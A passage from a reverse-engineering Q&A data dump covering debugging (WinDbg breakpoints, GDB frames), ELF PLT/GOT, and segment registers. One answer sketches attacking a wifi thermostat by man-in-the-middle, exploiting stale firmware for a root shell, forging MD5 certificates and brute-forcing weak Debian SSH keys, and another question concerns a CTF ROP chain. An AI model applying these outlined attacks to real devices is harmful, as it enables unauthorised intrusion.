&lt;code&gt;ESP+8&lt;/code&gt; you'll find a pointer to a null-terminated Unicode string (&lt;code&gt;lpSubKey&lt;/code&gt;). You can test this out by setting an unconditional breakpoint on RegOpenKeyExW and then using &lt;code&gt;du poi(esp+8)&lt;/code&gt; to print the string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do the next piece – stopping when the value of &lt;code&gt;lpSubKey&lt;/code&gt; is equal to some pattern, you can check out &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/hardware/ff556853%28v=vs.85%29.aspx&quot;&gt;MSDN's documentation&lt;/a&gt;, which contains an example of doing exactly that. I don't have access to a Windows machine at the moment, but the following should do what you want (adapted from the MSDN example):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bp advapi32!RegOpenKeyExW &quot;$$&amp;lt;c:\\commands.txt&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then create &lt;code&gt;c:\commands.txt&lt;/code&gt; with the following contents:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.if (poi(esp+8) != 0) { as /mu ${/v:SubKey} poi(esp+8) } .else { ad /q ${/v:SubKey} }&#xA;.if ($spat(@&quot;${SubKey}&quot;, &quot;Foo*&quot;) == 0)  { gc } .else { .echo SubKey }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can replace &lt;code&gt;&quot;Foo*&quot;&lt;/code&gt; in the above with any &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/hardware/ff558819%28v=vs.85%29.aspx&quot;&gt;valid string wildcard&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Breaking this down, the first &lt;code&gt;.if&lt;/code&gt; sets up an alias named &lt;code&gt;SubKey&lt;/code&gt; equal to the contents of the unicode string at &lt;code&gt;esp+8&lt;/code&gt;. The second line matches that string against the pattern &lt;code&gt;&quot;Foo*&quot;&lt;/code&gt;; if it doesn't match, then &lt;code&gt;gc&lt;/code&gt; is used to continue execution without stopping. If it does match, &lt;code&gt;.echo SubKey&lt;/code&gt; prints out the string, and then breaks.&lt;/p&gt;&#xA;" OwnerUserId="257" LastEditorUserId="257" LastEditDate="2013-05-01T22:18:56.477" LastActivityDate="2013-05-01T22:18:56.477" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="1983" PostTypeId="1" CreationDate="2013-05-02T05:04:53.303" Score="9" ViewCount="974" Body="&lt;p&gt;Is there a GUI (or even a script for the CLI) for GDB that will annotate views of the stack with saved registers, each of the frames, etc?  It should be possible to gather this information on each call and add it to a view of the stack.  Currently, I just end up looking at the stack with something like &lt;code&gt;x/40wx $esp&lt;/code&gt;, which isn't amazingly enlightening.&lt;/p&gt;&#xA;" OwnerUserId="1695" LastEditorUserId="53" LastEditDate="2013-05-02T12:56:20.293" LastActivityDate="2023-05-30T14:52:20.057" Title="Annotating the Stack in GDB?" Tags="|debuggers|gdb|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1984" PostTypeId="1" CreationDate="2013-05-02T11:49:11.017" Score="2" ViewCount="431" Body="&lt;p&gt;I want to develop a web-based API in Rails for some &lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/B0071IWJ62&quot; rel=&quot;nofollow&quot;&gt;LockState wifi programmable thermostats&lt;/a&gt;, so that other different application can control these thermostats. But I'm cannot find any resource about how these thermostats are accessible from the Internet and how to connect to these thermostats. Is there any documentation available? If not, how would I find how to interact with the thermostats?&lt;/p&gt;&#xA;" OwnerUserId="1909" LastEditorUserId="107" LastEditDate="2013-05-02T12:25:48.910" LastActivityDate="2014-01-02T22:15:45.010" Title="API for LockState Wireless Internet Thermostat" Tags="|interoperability|api|embedded|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1985" PostTypeId="2" ParentId="1983" CreationDate="2013-05-02T13:03:14.723" Score="6" Body="&lt;p&gt;As 0xC0000022L was mentioning it in the comments to your question, GDB already has such features through the &lt;code&gt;info frame&lt;/code&gt; command (shorthand &lt;code&gt;i f&lt;/code&gt;) and the &lt;code&gt;backtrace&lt;/code&gt; command (shorthand &lt;code&gt;bt&lt;/code&gt;).&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) info frame&#xA;Stack level 0, frame at 0x7fffffffe250:&#xA; rip = 0x400517 in foo (hello.c:6); saved rip 0x400531&#xA; called by frame at 0x7fffffffe260&#xA; source language c.&#xA; Arglist at 0x7fffffffe240, args: val=10&#xA; Locals at 0x7fffffffe240, Previous frame's sp is 0x7fffffffe250&#xA; Saved registers:&#xA;  rbp at 0x7fffffffe240, rip at 0x7fffffffe248&#xA;(gdb) backtrace&#xA;#0  foo (val=10) at hello.c:6&#xA;#1  0x0000000000400531 in main () at hello.c:12&#xA;(gdb)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You may find some other commands about stack exploration in the GDB manual: &lt;a href=&quot;http://sourceware.org/gdb/current/onlinedocs/gdb/Stack.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Examining the stack&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2023-05-30T14:52:20.057" LastActivityDate="2023-05-30T14:52:20.057" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="1986" PostTypeId="2" ParentId="1984" CreationDate="2013-05-02T22:30:20.507" Score="6" Body="&lt;p&gt;Okay, so far your question is a bit meager on the informational side, but it's intriguing. Let me &lt;em&gt;start&lt;/em&gt; an attempt to answer it. I'll not be able to answer it, lacking the device in question.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Methodology&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Here's what I would do.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Pose as a WiFi access point (AP). Most WiFi cards will allow you to do this, if the software side allows for it as well. If the existing access point is something like a Linux-based access point, you don't need anything else.&lt;/li&gt;&#xA;&lt;li&gt;Once you &lt;em&gt;are&lt;/em&gt; the AP sniff the traffic that goes through the interface using Wireshark, &lt;code&gt;tcpdump&lt;/code&gt; or similar tools.&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Figure out the protocol used&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;if it's a plain text protocol you are only left with decoding the meaning of the sent data&lt;/li&gt;&#xA;&lt;li&gt;if it is encrypted&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;see whether you can use a man-in-the-middle attack to read the data stream&lt;/li&gt;&#xA;&lt;li&gt;try to find out the version of the server software. Usually embedded software is lagging behind a bit, so if you find it is vulnerable, you may be able to get a (&lt;code&gt;root&lt;/code&gt;) shell.&lt;/li&gt;&#xA;&lt;li&gt;try to find firmware updates for the device and see whether tools like &lt;code&gt;binwalk&lt;/code&gt; and &lt;a href=&quot;http://code.google.com/p/firmware-mod-kit/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;firmware-mod-kit&lt;/code&gt;&lt;/a&gt; can make sense of them. Being able to unpack the firmware updates will give you a lot of information about the device and what's running on the current version, even if the versions may differ.&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;li&gt;if you find out that particular certificates are allowed and they are based based on a weak hash algorithm (&lt;a href=&quot;http://en.wikipedia.org/wiki/MD5&quot; rel=&quot;nofollow noreferrer&quot;&gt;MD5&lt;/a&gt;) or if it happens to be an &lt;a href=&quot;http://lists.debian.org/debian-security-announce/2008/msg00152.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;SSH key created on Debian while it was vulnerable&lt;/a&gt;. In the former case you may be able to forge a certificate and in the latter you will be able to brute-force an otherwise secure SSH connection&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;li&gt;Failing all of the above and being able (financially) to sacrifice one of the devices, I'd take it apart and try to find whether I can get a serial console or whether &lt;a href=&quot;https://reverseengineering.stackexchange.com/q/1374/245&quot;&gt;JTAG&lt;/a&gt; pins/contacts are available. If I was able to find out more about the used chips, I'd give boundary scanning a try.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The further down you were reading the more hurdles to take and the harder the approach. Now, perhaps you edit more details into your question if this partial answer gets you started.&lt;/p&gt;&#xA;" OwnerUserId="245" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.337" LastActivityDate="2014-01-02T22:15:45.010" CommentCount="2" CommunityOwnedDate="2013-05-02T22:30:20.507" ContentLicense="CC BY-SA 3.0" />
  <row Id="1987" PostTypeId="2" ParentId="1970" CreationDate="2013-05-03T00:06:27.987" Score="36" Body="&lt;p&gt;Process Attribution In Network Traffic (PAINT)/Wireshark from DigitalOperatives might be what you're looking for. It's based on Wireshark 1.6.5, and it works with Windows&amp;nbsp;Vista and above. It &lt;a href=&quot;http://www.digitaloperatives.com/paint/index.html&quot; rel=&quot;noreferrer&quot;&gt;has been released to the public&lt;/a&gt; in December 2012 for research purposes, and I've been using it since then. Not only does it work - you can filter the traffic through the columns - but it's quite fast.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The blog post &lt;em&gt;&lt;a href=&quot;http://digitaloperatives.blogspot.com.br/2012/10/process-attribution-in-network-traffic.html&quot; rel=&quot;noreferrer&quot;&gt;Process Attribution In Network Traffic&lt;/a&gt;&lt;/em&gt; from their developers explains it in detail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aPPng.png&quot; alt=&quot;Screenshot, taken from the blog post linked above&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1916" LastEditorUserId="1654" LastEditDate="2014-05-17T06:46:59.560" LastActivityDate="2014-05-17T06:46:59.560" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1988" PostTypeId="1" CreationDate="2013-05-03T06:16:26.343" Score="10" ViewCount="905" Body="&lt;p&gt;I constantly see the text (&lt;code&gt;&amp;lt;perror@plt+0x2008e0&amp;gt;&lt;/code&gt;) as seen in the snippet below, but I am not sure if its making a call to &lt;code&gt;perror&lt;/code&gt; of if the disassembler was having issues. Since it would be odd if the first thing the main function did was to call the exit code. Finally what does &lt;code&gt;@plt&lt;/code&gt; refer to.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0000000000400540 &amp;lt;__libc_start_main@plt&amp;gt;:&#xA;  400540:   ff 25 0a 09 20 00    jmpq  *0x20090a(%rip)    # 600e50 &amp;lt;perror@plt+0x2008e0&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Let me know if more information is needed and I will update the question&lt;/p&gt;&#xA;" OwnerUserId="1578" LastEditorUserId="53" LastEditDate="2013-05-06T11:48:28.637" LastActivityDate="2013-05-06T18:48:10.723" Title="What does the text in angle brackets refer to (From objdump)" Tags="|disassembly|assembly|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1989" PostTypeId="2" ParentId="1988" CreationDate="2013-05-03T06:53:10.257" Score="3" Body="&lt;p&gt;So, first, the &lt;code&gt;(%rip)&lt;/code&gt; refers to the content of the memory cell pointed by the value contained in &lt;code&gt;%rip&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And, second, the &lt;code&gt;&amp;lt;perror@plt+0x2008e0&amp;gt;&lt;/code&gt; refers to the symbol &lt;code&gt;perror@plt&lt;/code&gt; (plus an offset of 0x2008e0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want more details about how the PLT and the GOT work, feel free to ask another question (because it will fill several pages just to explain it nicely).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: This question was obviously for me !!! :-)&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2013-05-03T06:53:10.257" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1990" PostTypeId="1" AcceptedAnswerId="1991" CreationDate="2013-05-03T07:13:20.343" Score="6" ViewCount="3536" Body="&lt;p&gt;When I disassemble a function, I encounter from time to time an expression of the form &lt;code&gt;%reg:value&lt;/code&gt;. Typically, I encounter this syntax when I activate the canaries in GCC (&lt;code&gt;-fstack-protector&lt;/code&gt;), as in the following example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) disas&#xA;Dump of assembler code for function foo:&#xA;   0x000000000040057c &amp;lt;+0&amp;gt;: push   %rbp&#xA;   0x000000000040057d &amp;lt;+1&amp;gt;: mov    %rsp,%rbp&#xA;   0x0000000000400580 &amp;lt;+4&amp;gt;: sub    $0x20,%rsp&#xA;   0x0000000000400584 &amp;lt;+8&amp;gt;: mov    %edi,-0x14(%rbp)&#xA;=&amp;gt; 0x0000000000400587 &amp;lt;+11&amp;gt;:    mov    %fs:0x28,%rax&#xA;   0x0000000000400590 &amp;lt;+20&amp;gt;:    mov    %rax,-0x8(%rbp)&#xA;   0x0000000000400594 &amp;lt;+24&amp;gt;:    xor    %eax,%eax&#xA;   0x0000000000400596 &amp;lt;+26&amp;gt;:    mov    $0x4006ac,%edi&#xA;   0x000000000040059b &amp;lt;+31&amp;gt;:    callq  0x400440 &amp;lt;puts@plt&amp;gt;&#xA;   0x00000000004005a0 &amp;lt;+36&amp;gt;:    mov    -0x8(%rbp),%rax&#xA;   0x00000000004005a4 &amp;lt;+40&amp;gt;:    xor    %fs:0x28,%rax&#xA;   0x00000000004005ad &amp;lt;+49&amp;gt;:    je     0x4005b4 &amp;lt;foo+56&amp;gt;&#xA;   0x00000000004005af &amp;lt;+51&amp;gt;:    callq  0x400450 &amp;lt;__stack_chk_fail@plt&amp;gt;&#xA;   0x00000000004005b4 &amp;lt;+56&amp;gt;:    leaveq &#xA;   0x00000000004005b5 &amp;lt;+57&amp;gt;:    retq   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is the meaning of this kind of syntax?&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="107" LastEditDate="2013-05-03T20:29:19.817" LastActivityDate="2013-05-03T20:29:19.817" Title="What does %reg:value mean in ATT assembly?" Tags="|disassembly|x86|assembly|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1991" PostTypeId="2" ParentId="1990" CreationDate="2013-05-03T07:25:38.827" Score="6" Body="&lt;p&gt;&lt;code&gt;%fs:028h&lt;/code&gt; is actually using the form &lt;code&gt;segment:offset&lt;/code&gt;, which means it is reaching the memory address at offset &lt;code&gt;28h&lt;/code&gt; in the segment selected by the Far Segment &lt;code&gt;FS&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any memory reference has an implicit segment (most of the time, &lt;code&gt;CS&lt;/code&gt; for execution, &lt;code&gt;DS&lt;/code&gt; for data read/write), which can be overriden by a segment prefix.&lt;/p&gt;&#xA;" OwnerUserId="188" LastEditorUserId="188" LastEditDate="2013-05-03T08:43:20.030" LastActivityDate="2013-05-03T08:43:20.030" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="1992" PostTypeId="1" AcceptedAnswerId="1993" CreationDate="2013-05-03T08:39:11.810" Score="141" ViewCount="128330" Body="&lt;p&gt;From time to time, when disassembling x86 binaries, I stumble on&#xA;reference to &lt;code&gt;PLT&lt;/code&gt; and &lt;code&gt;GOT&lt;/code&gt;, especially when calling procedures from a&#xA;dynamic library.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, when running a program in &lt;code&gt;gdb&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) info file&#xA;Symbols from &quot;/home/user/hello&quot;.&#xA;Local exec file: `/home/user/hello', file type elf64-x86-64.&#xA;Entry point: 0x400400&#xA;    0x0000000000400200 - 0x000000000040021c is .interp&#xA;    0x000000000040021c - 0x000000000040023c is .note.ABI-tag&#xA;    0x000000000040023c - 0x0000000000400260 is .note.gnu.build-id&#xA;    0x0000000000400260 - 0x0000000000400284 is .hash&#xA;    0x0000000000400288 - 0x00000000004002a4 is .gnu.hash&#xA;    0x00000000004002a8 - 0x0000000000400308 is .dynsym&#xA;    0x0000000000400308 - 0x0000000000400345 is .dynstr&#xA;    0x0000000000400346 - 0x000000000040034e is .gnu.version&#xA;    0x0000000000400350 - 0x0000000000400370 is .gnu.version_r&#xA;    0x0000000000400370 - 0x0000000000400388 is .rela.dyn&#xA;    0x0000000000400388 - 0x00000000004003b8 is .rela.plt&#xA;    0x00000000004003b8 - 0x00000000004003c6 is .init&#xA; =&amp;gt; 0x00000000004003d0 - 0x0000000000400400 is .plt&#xA;    0x0000000000400400 - 0x00000000004005dc is .text&#xA;    0x00000000004005dc - 0x00000000004005e5 is .fini&#xA;    0x00000000004005e8 - 0x00000000004005fa is .rodata&#xA;    0x00000000004005fc - 0x0000000000400630 is .eh_frame_hdr&#xA;    0x0000000000400630 - 0x00000000004006f4 is .eh_frame&#xA;    0x00000000006006f8 - 0x0000000000600700 is .init_array&#xA;    0x0000000000600700 - 0x0000000000600708 is .fini_array&#xA;    0x0000000000600708 - 0x0000000000600710 is .jcr&#xA;    0x0000000000600710 - 0x00000000006008f0 is .dynamic&#xA; =&amp;gt; 0x00000000006008f0 - 0x00000000006008f8 is .got&#xA; =&amp;gt; 0x00000000006008f8 - 0x0000000000600920 is .got.plt&#xA;    0x0000000000600920 - 0x0000000000600930 is .data&#xA;    0x0000000000600930 - 0x0000000000600938 is .bss&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And, then when disassembling (&lt;code&gt;puts@plt&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) disas foo&#xA;Dump of assembler code for function foo:&#xA;   0x000000000040050c &amp;lt;+0&amp;gt;: push   %rbp&#xA;   0x000000000040050d &amp;lt;+1&amp;gt;: mov    %rsp,%rbp&#xA;   0x0000000000400510 &amp;lt;+4&amp;gt;: sub    $0x10,%rsp&#xA;   0x0000000000400514 &amp;lt;+8&amp;gt;: mov    %edi,-0x4(%rbp)&#xA;   0x0000000000400517 &amp;lt;+11&amp;gt;:    mov    $0x4005ec,%edi&#xA;=&amp;gt; 0x000000000040051c &amp;lt;+16&amp;gt;:    callq  0x4003e0 &amp;lt;puts@plt&amp;gt;&#xA;   0x0000000000400521 &amp;lt;+21&amp;gt;:    leaveq&#xA;   0x0000000000400522 &amp;lt;+22&amp;gt;:    retq&#xA;End of assembler dump.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, what are these GOT/PLT ?&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2013-05-03T09:07:38.997" LastActivityDate="2023-02-01T15:04:01.043" Title="What is PLT/GOT?" Tags="|x86|binary-analysis|elf|amd64|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1993" PostTypeId="2" ParentId="1992" CreationDate="2013-05-03T10:38:27.387" Score="142" Body="&lt;p&gt;PLT stands for Procedure Linkage Table which is, put simply, used to call external procedures/functions whose address isn't known in the time of linking, and is left to be resolved by the dynamic linker at run time.&lt;/p&gt;&#xA;&lt;p&gt;GOT stands for Global Offsets Table and is similarly used to resolve addresses. Both PLT and GOT and other relocation information is explained in greater length in &lt;a href=&quot;https://www.technovelty.org/linux/plt-and-got-the-key-to-code-sharing-and-dynamic-libraries.html&quot; rel=&quot;noreferrer&quot;&gt;this article&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Also, Ian Lance Taylor, the author of &lt;a href=&quot;https://en.wikipedia.org/wiki/Gold_%28linker%29&quot; rel=&quot;noreferrer&quot;&gt;GOLD&lt;/a&gt; has put up &lt;a href=&quot;https://www.airs.com/blog/index.php?s=Linkers&quot; rel=&quot;noreferrer&quot;&gt;an article series&lt;/a&gt; on his blog which is totally worth reading (&lt;strong&gt;twenty&lt;/strong&gt; parts!):&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.airs.com/blog/archives/38&quot; rel=&quot;noreferrer&quot;&gt;Linkers part 1: Intro&lt;/a&gt; [&lt;a href=&quot;https://web.archive.org/web/20230000000000*/https://www.airs.com/blog/archives/38&quot; rel=&quot;noreferrer&quot;&gt;archived&lt;/a&gt;]&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.airs.com/blog/archives/39&quot; rel=&quot;noreferrer&quot;&gt;Linkers part 2: Intro II&lt;/a&gt; [&lt;a href=&quot;https://web.archive.org/web/20230000000000*/https://www.airs.com/blog/archives/39&quot; rel=&quot;noreferrer&quot;&gt;archived&lt;/a&gt;]&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.airs.com/blog/archives/40&quot; rel=&quot;noreferrer&quot;&gt;Linkers part 3: Intro III&lt;/a&gt;  [&lt;a href=&quot;https://web.archive.org/web/20230000000000*/https://www.airs.com/blog/archives/40&quot; rel=&quot;noreferrer&quot;&gt;archived&lt;/a&gt;]&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.airs.com/blog/archives/41&quot; rel=&quot;noreferrer&quot;&gt;Linkers part 4: Shared libraries&lt;/a&gt;  [&lt;a href=&quot;https://web.archive.org/web/20230000000000*/https://www.airs.com/blog/archives/41&quot; rel=&quot;noreferrer&quot;&gt;archived&lt;/a&gt;] ... PLT and GOT first introduced&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.airs.com/blog/archives/42&quot; rel=&quot;noreferrer&quot;&gt;Linkers part 5: Shared libraries Redux&lt;/a&gt;  [&lt;a href=&quot;https://web.archive.org/web/20230000000000*/https://www.airs.com/blog/archives/42&quot; rel=&quot;noreferrer&quot;&gt;archived&lt;/a&gt;]&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.airs.com/blog/archives/43&quot; rel=&quot;noreferrer&quot;&gt;Linkers part 6: Relocations&lt;/a&gt;  [&lt;a href=&quot;https://web.archive.org/web/20230000000000*/https://www.airs.com/blog/archives/43&quot; rel=&quot;noreferrer&quot;&gt;archived&lt;/a&gt;]&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.airs.com/blog/archives/44&quot; rel=&quot;noreferrer&quot;&gt;Linkers part 7: Thread-Local storage&lt;/a&gt;  [&lt;a href=&quot;https://web.archive.org/web/20230000000000*/https://www.airs.com/blog/archives/44&quot; rel=&quot;noreferrer&quot;&gt;archived&lt;/a&gt;]&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.airs.com/blog/archives/45&quot; rel=&quot;noreferrer&quot;&gt;Linkers part 8: ELF Format&lt;/a&gt;  [&lt;a href=&quot;https://web.archive.org/web/20230000000000*/https://www.airs.com/blog/archives/45&quot; rel=&quot;noreferrer&quot;&gt;archived&lt;/a&gt;]&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.airs.com/blog/archives/46&quot; rel=&quot;noreferrer&quot;&gt;Linkers part 9: Symbol versions&lt;/a&gt;  [&lt;a href=&quot;https://web.archive.org/web/20230000000000*/https://www.airs.com/blog/archives/46&quot; rel=&quot;noreferrer&quot;&gt;archived&lt;/a&gt;]&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.airs.com/blog/archives/47&quot; rel=&quot;noreferrer&quot;&gt;Linkers part 10: Parallel linking&lt;/a&gt;  [&lt;a href=&quot;https://web.archive.org/web/20230000000000*/https://www.airs.com/blog/archives/47&quot; rel=&quot;noreferrer&quot;&gt;archived&lt;/a&gt;]&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.airs.com/blog/archives/48&quot; rel=&quot;noreferrer&quot;&gt;Linkers part 11: Archives&lt;/a&gt;  [&lt;a href=&quot;https://web.archive.org/web/20230000000000*/https://www.airs.com/blog/archives/48&quot; rel=&quot;noreferrer&quot;&gt;archived&lt;/a&gt;]&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.airs.com/blog/archives/49&quot; rel=&quot;noreferrer&quot;&gt;Linkers part 12: Symbol resolution&lt;/a&gt;  [&lt;a href=&quot;https://web.archive.org/web/20230000000000*/https://www.airs.com/blog/archives/49&quot; rel=&quot;noreferrer&quot;&gt;archived&lt;/a&gt;]&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.airs.com/blog/archives/50&quot; rel=&quot;noreferrer&quot;&gt;Linkers part 13: Symbol versions Redux&lt;/a&gt;  [&lt;a href=&quot;https://web.archive.org/web/20230000000000*/https://www.airs.com/blog/archives/50&quot; rel=&quot;noreferrer&quot;&gt;archived&lt;/a&gt;]&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.airs.com/blog/archives/51&quot; rel=&quot;noreferrer&quot;&gt;Linkers part 14: Link Time Optimization&lt;/a&gt;  [&lt;a href=&quot;https://web.archive.org/web/20230000000000*/https://www.airs.com/blog/archives/51&quot; rel=&quot;noreferrer&quot;&gt;archived&lt;/a&gt;]&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.airs.com/blog/archives/52&quot; rel=&quot;noreferrer&quot;&gt;Linkers part 15: COMDAT sections&lt;/a&gt;  [&lt;a href=&quot;https://web.archive.org/web/20230000000000*/https://www.airs.com/blog/archives/52&quot; rel=&quot;noreferrer&quot;&gt;archived&lt;/a&gt;]&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.airs.com/blog/archives/53&quot; rel=&quot;noreferrer&quot;&gt;Linkers part 16: C++ Template instantiation&lt;/a&gt;  [&lt;a href=&quot;https://web.archive.org/web/20230000000000*/https://www.airs.com/blog/archives/53&quot; rel=&quot;noreferrer&quot;&gt;archived&lt;/a&gt;]&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.airs.com/blog/archives/54&quot; rel=&quot;noreferrer&quot;&gt;Linkers part 17: Warning symbols&lt;/a&gt;  [&lt;a href=&quot;https://web.archive.org/web/20230000000000*/https://www.airs.com/blog/archives/54&quot; rel=&quot;noreferrer&quot;&gt;archived&lt;/a&gt;]&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.airs.com/blog/archives/55&quot; rel=&quot;noreferrer&quot;&gt;Linkers part 18: Incremental linking&lt;/a&gt; [&lt;a href=&quot;https://web.archive.org/web/20230000000000*/https://www.airs.com/blog/archives/55&quot; rel=&quot;noreferrer&quot;&gt;archived&lt;/a&gt;]&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.airs.com/blog/archives/56&quot; rel=&quot;noreferrer&quot;&gt;Linkers part 19: Misc&lt;/a&gt; [&lt;a href=&quot;https://web.archive.org/web/20230000000000*/https://www.airs.com/blog/archives/56&quot; rel=&quot;noreferrer&quot;&gt;archived&lt;/a&gt;]&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.airs.com/blog/archives/57&quot; rel=&quot;noreferrer&quot;&gt;Linkers part 20: Gold&lt;/a&gt; [&lt;a href=&quot;https://web.archive.org/web/20230000000000*/https://www.airs.com/blog/archives/57&quot; rel=&quot;noreferrer&quot;&gt;archived&lt;/a&gt;]&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="304" LastEditorUserId="245" LastEditDate="2023-02-01T15:04:01.043" LastActivityDate="2023-02-01T15:04:01.043" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="1994" PostTypeId="1" AcceptedAnswerId="1997" CreationDate="2013-05-03T15:26:58.313" Score="8" ViewCount="5477" Body="&lt;p&gt;I'm on a Linux machine with ASLR disabled. Running &lt;code&gt;ldd&lt;/code&gt; on a binary gives me the following result :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;linux-gate.so.1 =&amp;gt;  (0xb7fe1000)&#xA;libc.so.6 =&amp;gt; /lib/i386-linux-gnu/libc.so.6 (0xb7e5c000)&#xA;/lib/ld-linux.so.2 (0xb7fe2000)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does this mean that &lt;code&gt;libc.so.6&lt;/code&gt; will be loaded at the address &lt;code&gt;0xb7e5c000&lt;/code&gt;? I'm trying to build a ROP chain for an old CTF challenge and I'd like to get gadgets from the library. I'm looking to know the base address of the library so that I can add it to the offsets of the gadgets.&lt;/p&gt;&#xA;" OwnerDisplayName="user1743" LastEditorUserId="107" LastEditDate="2013-05-03T20:31:55.380" LastActivityDate="2013-05-03T21:20:57.540" Title="Base address of shared objects from ldd output" Tags="|linux|libraries|dynamic-linking|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
